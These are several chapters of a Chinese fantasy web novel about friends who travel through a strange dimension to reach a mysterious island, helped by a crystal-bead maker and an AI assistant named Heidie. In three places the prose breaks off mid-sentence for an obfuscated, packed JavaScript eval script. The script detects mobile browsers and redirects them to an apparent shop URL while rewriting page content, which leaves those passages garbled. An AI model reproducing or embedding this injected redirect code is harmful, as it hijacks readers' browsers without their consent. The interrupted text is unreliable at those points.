但随后她便不再说了。洛祈不知道是不是说话的额度已经用完,她只是静静地站在那,望着床上的人。 埃文还在昏迷着,没有转醒迹象。 洛祈轻叹一口气,忽然想起刚刚还没说完的话题,接着小声问道:“你回去之后呢?伊甸怎么样了?” 许梦扬回忆片刻,像是想起了什么不得了的东西,“我一打开门,就看见伊甸摔倒在地上猛地咳嗽。”他摇了摇头,像是后怕,“她咳得太猛了,我跑过去看见她紧攥着那个小盆栽,但里面的红色千叶草居然有一整个分枝都凋落下来了!花叶铺满了花盆表面。” 洛祈惊讶地望向此刻正摆在窗台上的小盆栽,好像确实少了一部分。 “我当即就想带她去医院,”许梦扬说,“不是说那是她的生命之花么?这是什么预兆我也不太懂。就觉得她那花凋零了,不像好事。” 洛祈想起埃文说过的萨满预言,当红色千叶草全部凋零,伊甸就会死去。 但话说回来,是因为花枝凋落,伊甸才被解除噤声了吗? 洛祈开始疑惑,这是否说明……冥冥之中,有什么力量要她开口说话? “结果小家伙死活不让。”许梦扬无奈道,“她当时抓着我的手那眼神,就是有要去的地方。” 当时的伊甸指着小花盆上仅有的,她自己画的一幅简笔画:一大一小,一高一矮,两张弧度相仿的笑脸,正牵着手。 那是她和哥哥埃文。 许梦扬瞬间懂了:“你是要去找你哥哥吗?” 伊甸点头,又咳起来。 “还能怎么办?”许梦扬耸了下肩,“我只好抱起她,想着那就先回海边吧。结果没想到我一出去,塞勒还没走。我就拜托她又把我俩带回了海岸。后来……就发生了你看到的那个神奇的状况。” “太神奇了……”许梦扬回忆着看到的一切,“我也是第一次看到言灵者使用能力。居然能让海水都凝固,到底是怎样巨大的力量啊!” 洛祈点点头,深表同意。 但随即他想到一件奇怪的事。 如果说他两次看见诡异岛屿,都是在“进入了另一空间”的前提下,那么……塞勒是怎么进入空间的? 洛祈问出了自己的疑惑。 许梦扬思索片刻,也没有得出确定的答案。 “我觉得,有两种可能。”许梦扬分析道,“第一,我们三个进入空间那次,是因为那个诡异的哼鸣声,而当我们到海边时似乎也听到过。这是第一个可能。” 洛祈若有所思点头,许梦扬继续道,“第二个可能,跟伊甸有关。她既然能通过言灵让我强制脱离那个空间,说不定她也有办法进去。或许……” 许梦扬想了想,“或许她当时做了什么,把塞勒也一并带了进去,只是具体的节点我不清楚。反正我们几个很顺利就进入了和你们同一维度的空间。” “好吧。”洛祈说。 他又看向了病床:“希望埃文能早一点醒来。” 18. 柯里丝·科妮 埃文昏迷了整整一周。 每一天,伊甸都会在他的床边,握住他的手,说一句什么——每一次,心电图指示仪都会有一个大的波动。 他们的冒险计划只能被迫搁置。 直到一周后,阮廷榭和索尔的回归,才终于带来新的转机。 他们不是自己回来的,与二人一同归来的,还有一个面沉如水的女孩。 阮廷榭和索尔先去看望了埃文。 那个女孩就跟在两人后面。 洛祈下意识打量了一下,有些搞不清楚状况。 “埃文这样持续多久了?”阮廷榭问。 “今天是第七天。”洛祈说。 几个人都显得忧心忡忡,许梦扬站在床尾,双手支撑着白色床栏,“不知道还会昏迷多久。” “他就要醒了。” 忽然,一直站在阮廷榭和索尔身后的女孩说了话。 几个人诧异地看向她。 但她只是重复了一遍,还是用西语道:“他就要醒了。” 索尔转身,有些迫切地确认道:“真的吗?” 女孩点了点头,迎接着众人疑惑的目光,指了指正在床边的伊甸,仍旧用西语说道,“是她在起作用,今天就会产生质变。准确的说,”女孩没有看表,而是望了望窗外的天气,接着道,“今天中午12:34,他就会醒。” 几个人互相看了一眼,不懂这是个什么说法,于是许梦扬率先开口:“这位是?” 他在问索尔和阮廷榭。 “哦,”索尔这才想起来,笑了笑,给大家介绍:“这是‘悬铃木号’上的大副之一——柯里丝·科妮。” 柯里丝只淡淡笑了下,对几个人点了点头,表示打招呼。 说真的,很难把眼前这个看起来大约十三四岁、有些瘦、还文文静静的女孩,跟扬帆起航的帆船二把手联系起来。 如果是塞勒的话……倒还有可能。 许梦扬感到有些迷惑,他缓缓移动到阮廷榭身边,用中文小声问:“你们怎么把人家船上的大副带回来了?船队解散啦?” 阮廷榭被逗笑了:“没有啦,她只是他们的大副之一。而且她在船上,其实也并不负责干体力活,”阮廷榭变得有些神秘,“她是负责保佑他们一帆风顺的。” 许梦扬:? “事情是这样的,”索尔接过了话茬,决定从头说起,“悬铃木号刚启程的那天,我们就认识了柯里丝。”他抬起手晃了晃,手腕上是一个精致的水晶珠手串,“出海没多久,她就从船舱出来,给每一个人都分发了一条不同的水晶手串。” 洛祈看见阮廷榭也伸出手展示了下,他的整体要小一号。 索尔那条是由一些晶莹深沉的黑水晶和几颗透明水晶构成,而阮廷榭的这条,则是由一些深浅不一的绿水晶串成。 船上的船员告诉他们,这条手串是避灾的,能够保佑他们在海上平安地回来,而只有柯里丝的手串才有这种能力。 一开始,索尔和阮廷榭只当这是种习俗,并没有太在意。 直到帆船驶过撒丁岛,经卡利亚里湾的岬角时,遇到了一片礁石密布的暗礁区。那时,他们才发现水晶手串的神奇之处。 “本身岬角周围的海域就比较危险。”索尔说,“由于地形特殊,海浪接近岬角时,常会发生折射或反射的情况,就是会产生比其他海域更强大的水流。再加上暗礁和浅滩……即使是经验丰富的船员,如果没有精确的海图或者导航设备,也很容易触礁。” 悬铃木号帆船上自然有配备导航,但多精密就谈不上了。 那天清晨,天刚亮,他们从卡利亚里湾出港,船长就让船上所有人,包括索尔与阮廷榭,分别站在了船体的周围,基本等距。 然后交待他们,在船体经过暗礁区的时候,仔细观察手上的水晶发生了什么变化,并且及时大声报备。 在所有人都做好准备后,船长和一个中年的大副掌舵,旁边站着柯里丝,小心地驶出港口。 没过多久,索尔惊讶地发现自己的手串上,有一颗透明水晶珠里面、一些看似棉絮一样的东西缓缓转动起来。索尔没来得及多想,大声喊了出来—— “报告,船长!我的水晶珠有异常!” “转向!”船长匆匆看了他一眼,柯里丝点了下头,指挥:“东北12°方向。” 他们避过了两处暗礁。 索尔的水晶恢复正常。 很快,又有别的船员此起彼伏地大声报告起来,船长和中年大副不断变换方向——仿佛跟随着一台灵活又精密的探测仪器。 柯里丝面朝大海,发丝被海风扬起,表情一直很淡。 他们避过激流与险滩,直到完全驶过那片密集的暗礁区,运行到平稳的海面上,船长和大副才松了一口气,双手握拳向上举起,猛地一挥——那是顺利通关的意思。 所有船员几乎一拥而上,船上的氛围霎时变得轻松起来。 他们拿起甲板角落似乎早已准备好的香槟,砰的一声打开,泡沫喷出,庆祝这次平安过关。 柯里丝被围在大家中间,分到了第一杯香槟。 她浅浅笑了下,抿了一口香槟,做了一个“干杯”的动作,于是大家一饮而尽。 阮廷榭和索尔自然也被分到一杯香槟,他们跟着大家一起欢呼庆祝,并感叹整件事的奇妙。 柯里丝·科妮是个神奇的人,他们心照不宣。 当然,这并不是他们把柯里丝带回来的原因。 真正让他们和柯里丝产生直接关联的,是第七天回程中的另一件事。 “那天,我们救了一个小孩。”索尔回忆道。 第七日傍晚他们在法国尼斯港短暂停留,悬铃木号准备在港口做一些常规的机械检查,顺便加些柴油,以防万一。 船长留下了中年大副,然后告诉其他人可以在当地休息一晚,明天早晨再出发。 阮廷榭和索尔刚下船,就有热情的船员说当地朋友家正在举办一场特色婚宴,邀请所有人一起参加,盛情之下他们欣然答应。 柯里丝跟他们一起,去到了盛大的婚宴现场。 婚宴在露天举行,非常热闹,参加的宾客们熙来攘往,从傍晚直到深夜。 空气里弥漫着海风的咸湿与惬意,吃完丰盛的食物,大人们拉着手围圈起舞,小孩们四处玩闹捉迷藏,欢快极了。 突然,一个小孩倒在了地上,那是最小的一个孩子。 距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587069|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近的船员们、阮廷榭和索尔都跑了过去,那孩子已经面色发紫抽搐起来——眼看就快要窒息断气。 索尔当即抱起了小孩,观察片刻,拍了拍后背,大声道:“紫苏叶,请拿新鲜的紫苏和热水来!” 众人口口相传,很快便有人拿来了紫苏叶和热水。 索尔手掌屈起,力度不重但十分有规律地拍着小孩的后背。另一边阮廷榭熟练地将紫苏泡水,试了温度后递给索尔。 灌进一碗紫苏水,没过几秒,小孩在索尔的拍击下“哇”的一声,连着食物全部吐了出来。 “急性食物中毒。”索尔轻声说,又接过阮廷榭递来的温紫苏水,让小孩喝了下去。 这就怪了。这么多人都好好的,怎么就这一个小孩子食物中毒? 其他小孩此时也乖了,牵着父母的手在一旁安静地看着。 索尔翻开小孩的袖子,看到了预料中的破伤风感染患处,他抬起头问道:“小孩的父母呢?这个孩子现在是不能吃海鲜的。” 一时没人说话,片刻后有个小孩说,他妈妈去世了,爸爸出海去了。 患处已经开始溃烂。没办法,索尔给了阮廷榭一个眼神,“蒲公英。” 阮廷榭立马熟练地从背包中拿出一个小陶罐,罐身上贴着“蒲公英”的标签——里面是研磨好的绿色蒲公英粉。他在另一只碗里将粉末活了点水,递给索尔。 “谢谢。”索尔对他笑了下,将湿润的蒲公英粉,一点一点敷在了小孩的患处。 逐渐地,小孩的面色回转,呼吸开始正常,急救起效了。 所有人都松了一口气。 “蒲公英粉能暂时起到抗炎消肿的效果。”索尔抱起小孩,对主人家道:“但这个孩子现在得立马去打破伤风针,其实早就该打的,否则很危险,会没命的。” 主人家的父亲立刻站出来,要带他们去。索尔和阮廷榭便跟着他,一起离开婚宴,去了小城里的医院。 船员们围观了这一切,当然,也包括柯里丝。 她望着几人渐行渐远的背景,神情终于有了些许的波动。 晚上,船员们借宿在主人家的客房中。 等索尔和阮廷榭回来,基本已是深夜了。 第二天清晨,返回悬铃木号的路上。柯里丝难得没有独行,而是一反常态,走得很慢,跟在阮廷榭和索尔的后面。 “二位,”直到前方船员们相继上船,她才很正式地对二人轻声道,“鉴于你们昨天救了那个孩子,作为感谢,我可以满足你们一个需求。” 阮廷榭&索尔:? 她看起来完全没有开玩笑的样子。 “没关系啦。”索尔先做出反应,他摆摆双手,笑道,“这没什么大不了的。” 随即,阮廷榭也笑了笑道:“是啊,没事的,我们就是举手之劳。” 柯里丝安静地看着他们,摇了摇头,但并未勉强,只说:“我的承诺会一直有效。”她侧身越过他们,“我们的旅程还有两天,你们可以继续想。” 在踏上甲板前,她转过头,温和地笑着耸了耸肩,“谁知道呢?或许你们的伙伴会需要。” 那一刻,索尔觉得眼前这个女孩,不像是十三四岁,倒像个长者了。 19. 复盘推演 显然,回程的最后两天,索尔和阮廷榭也没有想到什么需求。 但他们认真思考了柯里丝的话。 也许同伴们会需要呢? 毕竟这女孩看起来就不是一般人。 事实上,他们是对的。 在整个探索地中海的十天里,他们的所见所闻大多都很正常,即使是洛祈给到的坐标范围,也并没有发生什么异常的事。 这显然对结论毫无帮助。 所以他们决定,拜托柯里丝跟他们一起回来,看看同伴们有什么需求。 柯里丝没什么犹豫就答应了,仿佛毫不惊讶。 中午12:34刚到,埃文果然如期醒来。伊甸开心得在原地跳了跳,又握住哥哥的手来回晃了晃。 索尔和阮廷榭忍不住给柯里丝比了个拇指,但她依旧是一副古井无波的模样。 洛祈不得不心生叹服,感叹自己见的奇人又多了一个。 许梦扬请来医生,为埃文做全面复查。在得到“没问题,可以出院了”的答复后,总算一颗大石落地。 众人等埃文适应活动后,收拾东西回到了民宿——当然,也包括柯里丝。 此时的机房热闹了不少。 许梦扬、洛祈、埃文、伊甸都在,索尔和阮廷榭回归,还多了两个女孩,柯里丝和塞勒。 塞勒是许梦扬邀来的。 原因是在一次闲聊中,许梦扬提到他们正在做的事,塞勒几乎两眼放光。 她居然也是ICMC的论坛成员。 塞勒说,她从小的梦想就是做一名全球探险家。每次只有和外界碰撞时,她才感觉自己活着。 既然她也对探险感兴趣,不妨让她一起加入。 “好了,庆祝我们再一次齐聚在这。” 许梦扬颇有仪式感地开了一瓶香槟,分给每一个人,随后,他转向从陆块回来的洛祈和埃文, “也要庆祝我们的伙伴,劫后余生,必有后福。干个杯吧~” 不得不说,团队里有个e人还是非常必要的。 塞勒看起来很兴奋,一口气干了。 柯里丝则轻轻抿了一口,一如她在船上那样。 阮廷榭尝了尝味道,然后给伊甸倒了一杯橙汁。于是伊甸把手中的小花盆,换成了玻璃杯。 “接下来,该到复盘环节了。” 许梦扬站在机房大屏前,看向四周零散坐着的各位,“我想我们有必要,复盘一下这次的行动。”——显然是一个不算成功的行动。 洛祈和埃文不约而同地点了点头。 “我们的确犯了一些错误。”许梦扬总结道,“当然,有些错误也在所难免。” “黑牒。”许梦扬道。 “我在。”房间内的光带闪了闪。 “准备一下。”许梦扬走向房间正中央的工作台,让每个人都带上设备。 塞勒和柯里丝在洛祈和索尔的帮助下,完成了佩戴。 “埃文昏迷期间,我和黑牒已经简单复盘过,这次大家一起来同步一下。” 刹那间,工作台边缘细长的蓝色光条逐寸亮起,直到包围全周。和上次一样,蓝光从整个桌面向上投射到天花板,形成一个很大的蓝色长方体虚拟光柱。 接着,他们看到了那片熟悉的海域俯瞰图景。 “算是一个虚拟的沙盘推演吧。” 许梦扬说着,在蓝色光柱内点了一下,视野变成了他们当时的位置。 “好神奇~”塞勒忍不住凑近道。 “我们当时的计划被迫提前了。”许梦扬无奈地笑了下,“暴风雨提前来临。” 光柱内,上方天气忽然由晴转阴,浓云密布,电闪雷鸣。细雨落下,视野开始变得模糊了。 “这印证了我们的一部分猜想,”许梦扬若有所思,“或许整个儿童消失谜案和诡异状况,确实与暴风雨有关。但另一方面,”他补充道,“暴风雨的降临和气象趋势的关系有待进一步论证。” 洛祈点点头:“可能二者之间只是弱关联。有影响,但并不是直接引发。” 埃文表示赞同。 “是的,”许梦扬说,“我们必须承认,有一些不可抗力是我们无法掌控的。” 塞勒听得很认真。 柯里丝则默默坐在了角落,从兜帽披风下拿出了自己用藤条编的编织袋。 “接下来另一个猜想,”许梦扬将目光转向索尔和阮廷榭,“实地勘察地中海,你们有什么收获吗?” 索尔和阮廷榭实话实说,从现实角度看,基本没有异常。 “跟我预想的差不多。”许梦扬点点头,“所有的异常,应该都是发生在另一个和我们相叠的空间。而我们只有在一些关键节点,才能撬动,并有机会进入。” 伊甸在机房又有些坐不住,但这一次她没有找哥哥,而是被柯里丝吸引了目光。 柯里丝面前的桌子上,摆着大大小小几个布面盒子,里头是上好的红丝绒衬里。伊甸凑过去看,红丝绒当中镶嵌着许多不同颜色、深沉莹亮的水晶。 柯里丝对伊甸笑了一下,拿出一颗“红幽灵”递给伊甸。 伊甸很开心地玩起来。 柯里丝重新转回目光,一边听着大家的复盘,一边重新拿起一条不时闪光的细线串起珠子。串的同时,偶尔也会抬头,看向某个特定的人。 原先的两个猜想都说完了,许梦扬说,“那现在,就该复盘进入空间之后的事了。我印象当中,有三个异常的地方:第一,那个诡异的哼鸣声;第二,就是黑牒说的观察者决定观察结果;第三,是洛祈和埃文踏上陆块之后,又被送回来的事。” 蓝色光柱内出现模拟的岛屿和定位点。岛屿裂变,分散成三个陆块,依照箭头驶向海岸。 “第一个那个,”洛祈率先出声,“当时大家听到的哼鸣声,就是我常在物灵上感应过的部分,我确定。” 许梦扬双臂叠在胸前,眼睛望向蓝色光柱,“这倒值得思考一下。” “只是我没有想到……当那个声音真正出现的时候,会产生那么强烈的影响。” 那个声音,想传达什么呢?次声波带来的胸口钝痛让许梦扬印象深刻,他吸了口气,怎么想都觉得这是不可抗力。 “好吧。”许梦扬摇了下头,“那就来说第二个……关于观察者决定观察结果,我倒是有些想法了。” “怎么讲?”埃文问。 “我觉得,也许我们可以从自己的角度出发,思考一下各自看到的场景,都代表了什么。” 蓝色光柱内分成了三块视野,黑牒模拟出许梦扬、洛祈和埃文当时看到的场景:分别是骸骨与墓碑,草甸上的圣十字,以及机械齿轮组件。 “如果那个空间里,有一些无法解释的规则。那至少,我们已经触碰到它了。”许梦扬道,“三股海上龙卷风,三个接引陆块,明显是有备而来。” 洛祈举手,有些犹豫道:“我有一个猜想,但只是我个人的想法。我在想会不会……那座岛屿也能感应到我们?” “很有可能。”埃文回忆道,“不仅是那座岛,恐怕整个空间都是如此。一旦我们涉足那片领域,就已经在被‘观察’了。” 许梦扬看着埃文的笃定,有点疑惑:“为什么这样说?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587070|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我还记得我昏迷之前,听到了那个声音。”埃文说,“祂在说,你会陷入混沌,坠入,混沌之海。” 洛祈有些惊讶,他转向埃文:“你听懂了?” 埃文点头:“虽然不知道为什么,但是我理解了意思。” 柯里丝停下手中的动作,抬起了头。 “祂?”因为西语中是特定词,许梦扬不得不重复一次。 “对,就是你想的那个意思。”埃文摇摇头,“不知道为什么,我感觉只能用这个词。” 气氛变得有些凝滞了。 “那伊甸呢?”塞勒忽然出声,“是她当时让海水凝固,把你们送回来的。伊甸和那个‘祂’有呃……”她顿了顿,“有什么关系吗?” 这就是另一个难题了。 伊甸的言灵生效是事实,但是从什么节点开始,又能用在多大的领域,对他们来说都是未知数。 几个人看向伊甸,她正在专心致志地玩着水晶,仿佛只是一个再普通不过的小孩子。除了她那不同寻常的深红色眼眸和头发颜色,昭示着她有多么特别。 “或许我们下次出发,最好也带上伊甸。”许梦扬征求埃文的意见。 埃文点点头,他也不放心再把伊甸独自留下。 蓝色光柱内的图景跟着他们的叙述不断变换,开始出现风向和坐标,推演下次行动的路线。 “还有一点,”黑牒出声提醒,“上次来接引各位的陆块,基本算是非常相似的五边形。如果它们是从岛屿分裂出来的,或许我们可以由此推导出主岛的形状。” “你的意思是……”埃文伸出手自己比划了几下,片刻后,得出结论,“主岛是由很多五边形组成的大五边形?” “不失为一种可能。”黑牒回答。 “好。”许梦扬道,“我们下次就带着这个想法,去观察一下事实是否符合。” “我也要去!”塞勒举手,看起来很是兴奋。 “当然。”许梦扬失笑,“不会忘了你的。” 索尔倒是无意让柯里丝也参与冒险行动,毕竟她看起来还是很安静,但柯里丝似乎也没有拒绝的意思。 他和阮廷榭交换了一下眼神,决定随便她吧。 串好珠子,柯里丝站起身,开口说了话,声音很轻:“下次出发前,请各位把手串带上。” 索尔和阮廷榭是见识过柯里丝手串的厉害的。 二人起身,对柯里丝说了“谢谢”,其他几人刚见过柯里丝的神奇,也走过去,接过手串。 洛祈的这串是由白水晶和一些闪闪的珠子构成。他拿到手上掂了掂,很有分量。 左右看看,每个人的手串都不一样,应该是量身定制的。 虽然不知道这个手串具体能有什么作用,洛祈还是很高兴,像收了新礼物一样。 等所有人都带好手串,许梦扬开始向大家征求建议,以确定下一次出发的时间。 “我们还需不需要等待下一次‘暴风雨’的气象趋势,”许梦扬问道,“这是我现在思考的问题。大家觉得呢?” 洛祈和埃文两个亲历者拿不定主意;塞勒倒是充满干劲,但也无法确定;伊甸那边,正对刚收到的手串爱不释手;索尔和阮廷榭则表示应该都可以。 只有柯里丝波澜不惊地说:“无需等待。随时都可以。” “随时?”埃文有些疑惑,“现在是下午两点半。你的意思是……今天就可以出发?” “是的。”柯里丝缓缓道,“那座岛屿已经准备好了。” “准备好……什么?”许梦扬不解。 “准备好,迎接你们。” 20. 成功登陆 再次出发的时间,被大家定在了第二天上午。 尽管柯里丝看起来神神秘秘的,还总是惜字如金。但伙伴们还是达成共识,决定不妨一试。 许梦扬拍板,给大家半天的时间准备,带齐需要的东西,次日一早在民宿会合,一起出发。 洛祈回到寄宿家庭,心里想着要不要给房东大妈说一声,思来想去,最后决定先留下一封信——如果他们能早回来,或许用不着。 接着他收拾了一下自己的背包,将电脑和一些寻人启事等物料,装在了密封的防水袋里面,以防万一。 随后,他把从黑牒那里得到的装备分别套了防水袋,放在了方便拿的背包前侧。 打开行李箱,里面所有搜寻的物件他都要带上。 毕竟,这是目前他唯一的线索。 还带了两三套衣物。 这么一收,才发现,原来自己的东西这么少。 全部收拾完毕,也才到日暮时分。 洛祈躺在床上,窗户开着,有凉风吹进来,但并不很冷。平躺着仰起头,看向头顶那边的窗户,是一个倒着的视角,有点微妙的晕眩,他闭上眼睛。 终于到这一天了,洛祈想,前方到底是什么在等着他呢。 不知不觉间,意识开始模糊起来。 他又梦到了小时候,那个混沌、茫然、无措的时刻,有个姐姐牵起了他的小手。在梦里,他怎么都看不清楚她了。 但是留在他头上的触感那么真实。 她向后退去,他想追,但追不上,小小的人最后咚的一下,摔在地上。 洛祈醒了,但没睁眼。 一种熟悉的、不知所措的茫然,从心里升起。在这一刹那,洛祈才清晰地意识到,其实他还是当年的那个小孩子。 他长大了,却好像没有完全长大。 长大,到底是什么呢? “洛?”门被敲响,洛祈睁开眼。房东大妈正站在门口,眼神笑着,眼尾的褶皱都很温和,轻声询问他:“你在睡觉吗?” “没有。”洛祈坐起身摇摇头,也冲她笑了下。 “那太好了,”大妈笑道,“我今晚做了西班牙海鲜饭哦,要不要尝尝看?是西班牙的特色美食呢!” “好啊!” 洛祈很高兴,刚才的混沌一扫而空,在悄然落下的夜幕和渐渐升起的星月中,走向了烟火蒸腾的当下。 次日一早,八个人在民宿前会合。 塞勒的装备恐怕是最齐全的。她背了一个大的登山包,头上别着一个复古的哈雷护目镜,一身轻便但一看就很专业的越野服。颇有点冒险家的气质。 许梦扬和埃文、伊甸是常规装备,轻装上阵。 索尔背了个大点的背包,装着他和阮廷榭两人的东西。 阮廷榭则背了一个挎包,上面有一个医用“红十字”标志。 只有柯里丝的东西最少——她几乎没有拿任何多余的东西,只是把之前的竹藤编织袋,换成了一个封盖的竹藤编织筐。 许梦扬和她搭话:“不需要再拿些别的吗?” 柯里丝看了一眼手上,淡淡道:“不用。” “那行。”许梦扬一拍双手,等大家看向他,“那我们就准备出发!” 上午十点,一行人再次来到海岸。 在潮润的沙滩上,大家心情各异。 有的兴奋,有的忐忑,有的深思,有的淡然,有的轻松达观,有的则且行且看。 天气很晴朗,可走着走着,却下起了太阳雨。 雨幕淅淅沥沥,在日光下,很快便折射出一扇巨大的彩虹——笼罩在远处逐渐隐显的岛屿之上。 周遭安静的一瞬间,唯剩雨声,洛祈知道他们已经顺利进入了“空间”。 尽管不知道为什么,但他对这种感觉已经很熟悉了。 他狐疑地看了看被埃文牵着的伊甸,又看了看走在队伍末端安静的柯里丝。无法判断关窍到底在哪。 轰的一声,又是熟悉的什么分崩离析的声音。 只是这次的好像比上次要更温和。 而且这次也没有出现海上龙卷风。 海面很平静,甚至在阳光下金光闪闪。浪花层层卷上沙滩,又温柔地退回去,波涛眨眨眼,像在邀请。 逐渐有一些陆块出现了,随着海流,从远处不断漂浮过来,一如上次见过那般。 许梦扬早有准备,告诉大家,等陆块到了岸边,记得第一时间同步自己的所见。 众人点点头做好准备。 但奇怪的是,这次并未如他所料。 所有人看到的,都是同样的景象。 基本都是石块、沙土和一棵树——坐落在类五边形的陆块上。每个陆块都像是再普通不过的一块微缩岛屿。 非但许梦扬觉得奇怪,这样正常的情况,对于已经有过一次经历的洛祈和埃文来说,更像是一种诡异。 “要上吗?” 所有人互相看看,仿佛在相互打气,最后许梦扬和塞勒最先决定,“上吧!” 要上便上。 大家纷纷向前,尝试涉足自己面前的微缩陆块,脚步谨慎而稳当,而陆块也完全没有出现之前的浮动。 等八个人都站好后,陆块的边缘轻击海岸,未过片刻就前后脚接连离开了岸边。 此时的海域如沉稳的老者一般,包容着他们。 陆块如一叶自动的扁舟,而他们像并排在水面上滑翔的鸥鸟,每个人之间的距离基本一致。 似乎什么都不会再发生了,洛祈想。 他看了看手串,不知道跟这个有没有关系。 洛祈转过身,看见柯里丝距离他两个人远,正站在陆块的树下,印着花纹的兜帽披风被海风鼓起,表情还是很淡。 眼前的岛屿越来越近。 就在最后大约还剩百米时,意外忽然降临了。 他们脚下的水流速度开始加快,一浪推着一浪分流。波涛咆哮奔涌,像换了一副面孔。 “怎么回事?!” 距离最近的许梦扬环顾四周,发现激流之下所有陆块的距离开始拉大,眼看着就要分离。 “不知道!”洛祈后背紧靠在陆块的树上,眼睛被风吹得难以睁开。 “洛祈!” 他听到有人叫他的名字。 但一张嘴,他的呼应就被狂妄的海风卷走。 “埃文!” “Xu!” “塞勒!” 所有人的身影都开始变得模糊,又触不可及。 “阮阮!” “索尔!” …… 伙伴们此起彼伏地呼喊着对方的名字,眼看着他们被海流带向别处。 洛祈艰难地睁开眼,他扶着树,攥紧了自己的行李箱,却无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587071|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力改变眼前的一切。 陆块越离越远,目之所及,逐渐被广阔的蓝色海域填满,视野的最后洛祈只看到了一个渺小的身影,柯里丝·科妮。 她站在陆块上,望着前方,稳得像一颗松树——任凭风浪吹乱她的发丝、打湿她的披风,仍旧是那副处变不惊的模样。 就要到了。 整个视野都在大幅度摇晃,洛祈感到一阵天旋地转,随后便被咸湿夺走了呼吸。 再一次睁眼时…… 洛祈发现自己的半个身子都嵌在沙土里,下意识的吸气却从鼻腔中带进了沙子,他猛地呛咳起来。 咳完了,他双手撑地爬了起来,开始环顾四周。 艳阳高照,天空还是很晴朗。 身在海岸,但周围的景色很陌生,孤零零的只有他一个人。 这里就是那个岛屿吗? “许梦扬!”洛祈大声喊道,“埃文!”他边喊边往旁边看,“你们在吗?!” 没人回应他,甚至连回音都没有。 洛祈又挨个喊了一遍。 还是一样。 他的心开始沉了下来。 他和伙伴们一起出发,却在最后的关头失散。 好不容易有了伙伴,可现在,又剩下他一个人了。 该怎么办? 洛祈有片刻的茫然……但随即他想到一个重要的东西,他的行李箱。 那里面是唯一的线索。 顾不得没有伙伴的失落了,洛祈开始找起自己的东西。 周围很空荡,他各个方向都走了很多步,最后在一片叫不出名字的灌木丛中,看到了卡在其中的行李箱。 他拾起行李箱,打开,发现所有密封在防水袋里的物件都没有打湿,“还好。” 洛祈将行李箱的拉链拉好,竖起来。回过头,又在一颗棕榈树的后面,发现了自己被沙土掩埋的背包。 他打开背包将里面的物品一一确认,其他还好,但头盔显然湿淋淋的。 洛祈甩了甩头盔中的水,自言自语,“这个应该……还能用吧?” 用干燥的袖子囫囵擦了擦,洛祈将透明头盔戴在了头上,启动开机。 “你好,洛祈。” 熟悉的声音让洛祈放了心。 他“呼”了一口气,有些庆幸,“谢天谢地,还好你还在!黑牒。” “别担心,我会一直在你身边。” “我们现在在哪里啊?已经到那座岛上了吗?”洛祈问。 “是的。根据地形与原坐标推算,你们已经成功登陆。”黑牒回答。 “那他们呢?”洛祈迫不及待问道,“也在岛上了吗?” “从你的情况推断,应该是的。”黑牒说,“目前你是第一个启动装置的,当有其他人启动装置,我就会检测到相应位置。” “好吧。”洛祈感觉自己总算能喘口气了。 黑牒的存在给他带来一些莫名的安心,他拍了拍背包带上的残余沙土,背到身上,又拉起行李箱的拉杆。 “不能待在原地。”洛祈动身边走边说,“我准备先选择一个方向看看情况。” “洛祈。”黑牒说,“我必须提醒你……” 洛祈顿足,认真听着。 “这座岛上除了你们几个之外,似乎还有别的人,和一些不明物体。整座岛屿的频率波动非常奇怪,请务必小心。” 21. 气球人 黑牒的话引起了洛祈的重视。 频率,是声波震动的基本单位。 他思来想去,还是打开行李箱,把所有搜集的物件又重新过了一遍。 果然,物件上的声音旋律变得非常古怪,像是许多片段重叠在一起,复杂难辨,根本听不出一点。 没办法,洛祈把物件放进背包里,又挑了两个拿在手上,以便能随时发现异常状况。 “我会小心的,黑牒。”洛祈说。 他决定先探索一下这座岛上的线索,也顺便找找同伴们的下落。 拨开两片几乎与他等身高的橡树叶子(尽管他不确定到底是不是),走进巨大的密林之中。甫一进去,有那么一个瞬间,洛祈感觉自己活像被生生剥夺了五感。 周围什么都没有。 死一般寂静。 视野可以说是一片空茫。 仿佛除了呼吸,这里就是被抽走了五感的真空世界。 他转身回头看,满目白雾,“橡树叶子”不翼而飞,早已看不见来时的入口。 一时竟不确定,是不是自己的眼睛出了问题。 洛祈双手向前伸起,在虚空里摸索着。此时此刻,他都不是感觉到混沌——而是他就身陷在混沌中心。 “黑牒?”洛祈呼唤。 随后他也确实听到了一些声音,可是太古怪了,像被什么媒介阻断了接收似的——头盔明明就在他的脑袋上,可他却仿佛在一片由空气组成的水域里,声音从水面之外传来,朦胧而厚重。 “咚”的一声。 洛祈的右手不知道触碰到了什么,忽然响起的声音吓了他一跳。 